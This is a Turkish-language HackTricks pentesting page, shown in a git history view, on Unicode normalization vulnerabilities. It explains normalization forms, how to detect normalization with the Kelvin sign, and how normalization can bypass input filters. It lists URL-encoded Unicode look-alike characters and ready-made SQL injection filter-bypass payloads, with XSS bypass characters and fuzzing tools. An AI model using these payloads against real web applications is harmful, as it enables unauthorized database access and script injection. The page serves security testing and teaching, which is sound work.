hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

127 lines
9 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Unicode Normalizasyonu
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-01 17:15:42 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
**Bu, şu özetin bir özeti:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için bakın (resimler oradan alınmıştır).
2024-02-10 18:14:16 +00:00
## Unicode ve Normalizasyonun Anlaşılması
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standart hale getirildiği bir süreçtir. Bu süreç, programlama ve veri işleme süreçlerinde dizilerle uğraşırken hayati öneme sahiptir. Unicode standardı iki tür karakter eşdeğerliği tanımlar:
2024-02-05 02:29:11 +00:00
1. **Kanonik Eşdeğerlik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahipse kanonik olarak eşdeğer kabul edilir.
2. **Uyumluluk Eşdeğerlik**: Karakterler aynı soyut karakteri temsil edebilir ancak farklı şekilde görüntülenebilirler.
2024-02-05 02:29:11 +00:00
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derinlemesine anlamak için bu teknikleri [Unicode.org](https://unicode.org/) üzerinde keşfedebilirsiniz.
2024-02-05 02:29:11 +00:00
### Unicode Kodlaması Hakkında Ana Noktalar
2024-02-05 02:29:11 +00:00
Unicode kodlamasını anlamak, farklı sistemler veya diller arasındaki etkileşim sorunlarıyla uğraşırken özellikle önemlidir. İşte ana noktalar:
2024-02-05 02:29:11 +00:00
* **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembol, "kod noktası" olarak bilinen bir sayısal değerle ilişkilendirilir.
* **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla baytla temsil edilir. Örneğin, İngilizce konuşan ülkelerde yaygın olan LATIN-1 karakterleri bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter kümesine sahip diller, temsil için daha fazla bayt gerektirir.
* **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği yaygın bir kodlama standardıdır ve diğer karakterler için dört bayta kadar kullanılır.
* **Veri İşleme**: Veri işleyen sistemler, bayt akışını doğru şekilde karakterlere dönüştürmek için kullanılan kodlamayı bilmelidir.
* **UTF Çeşitleri**: UTF-8'in yanı sıra, UTF-16 (en az 2 bayt, en fazla 4 bayt) ve UTF-32 (tüm karakterler için 4 bayt kullanımı) gibi diğer kodlama standartları bulunmaktadır.
Bu kavramları etkili bir şekilde anlamak, Unicode'ın karmaşıklığından ve çeşitli kodlama yöntemlerinden kaynaklanabilecek potansiyel sorunları etkili bir şekilde ele almak için önemlidir.
İki farklı karakteri temsil eden iki farklı baytın Unicode'u nasıl normalize ettiğine dair bir örnek:
2024-02-05 02:29:11 +00:00
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
2024-02-10 18:14:16 +00:00
**Unicode eşdeğer karakterlerin bir listesine buradan ulaşabilirsiniz:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) ve [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
2024-02-10 18:14:16 +00:00
### Keşfetme
Eğer bir web uygulamasında geriye yansıtılan bir değer bulabilirseniz, **'KELVİN İŞARETİ' (U+0212A)** gönderebilirsiniz ki bu da **"K" olarak normalize edilir** (bu şekilde gönderebilirsiniz `%e2%84%aa`). Eğer geriye bir "K" yansıtılıyorsa, bir tür **Unicode normalizasyonu** gerçekleştiriliyor demektir.
Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` **unicode**'den sonra `Leonishan` haline gelir.
## **Zayıf Örnekler**
### **SQL Injection filtresi atlatma**
Kullanıcı girdisiyle SQL sorguları oluşturmak için karakter `'` kullanan bir web sayfasını hayal edin. Bu web sitesi, güvenlik önlemi olarak, kullanıcı girdisindeki tüm `'` karakterlerini **siler**, ancak bu silme işleminden sonra ve sorgunun oluşturulmadan **önce**, kullanıcı girdisini **Unicode** kullanarak **normalize** eder.
Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)`'ye eşdeğer farklı bir Unicode karakteri ekleyebilir, örneğin `%ef%bc%87`, girdi normalize edildiğinde tek tırnak oluşturulur ve bir **SQL Injection açığı** ortaya çıkar:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (699).png>)
2024-02-10 18:14:16 +00:00
**Bazı ilginç Unicode karakterler**
* `o` -- %e1%b4%bc
* `r` -- %e1%b4%bf
* `1` -- %c2%b9
* `=` -- %e2%81%bc
* `/` -- %ef%bc%8f
2022-04-06 08:57:29 +00:00
* `-`-- %ef%b9%a3
* `#`-- %ef%b9%9f
* `*`-- %ef%b9%a1
* `'` -- %ef%bc%87
* `"` -- %ef%bc%82
* `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
2024-02-10 18:14:16 +00:00
#### sqlmap şablonu
2022-10-16 14:05:57 +00:00
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
2022-05-01 13:25:53 +00:00
### XSS (Cross Site Scripting)
Web uygulamasını kandırmak ve XSS açığını sömürmek için aşağıdaki karakterlerden birini kullanabilirsiniz:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
Örneğin, ilk Unicode karakteri `%e2%89%ae` veya `%u226e` olarak gönderilebilir.
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
2024-02-10 18:14:16 +00:00
### Regex Fuzzing
2022-12-05 11:09:36 +00:00
Arka uç, **kullanıcı girişini bir regex ile kontrol ederken**, **girişin regex için normalize edildiği** ancak **kullanıldığı yer için normalize edilmediği** olabilir. Örneğin, bir Açık Yönlendirme veya SSRF'de regex, gönderilen URL'yi **normalize edebilir** ancak **olduğu gibi erişebilir**.
2022-12-05 11:09:36 +00:00
[**recollapse**](https://github.com/0xacb/recollapse) aracı, arka ucu fuzzlemek için girişin varyasyonlarını oluşturmayı sağlar. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse) bakın.
2024-02-10 18:14:16 +00:00
## Referanslar
2022-04-05 22:24:52 +00:00
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-01 17:15:42 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>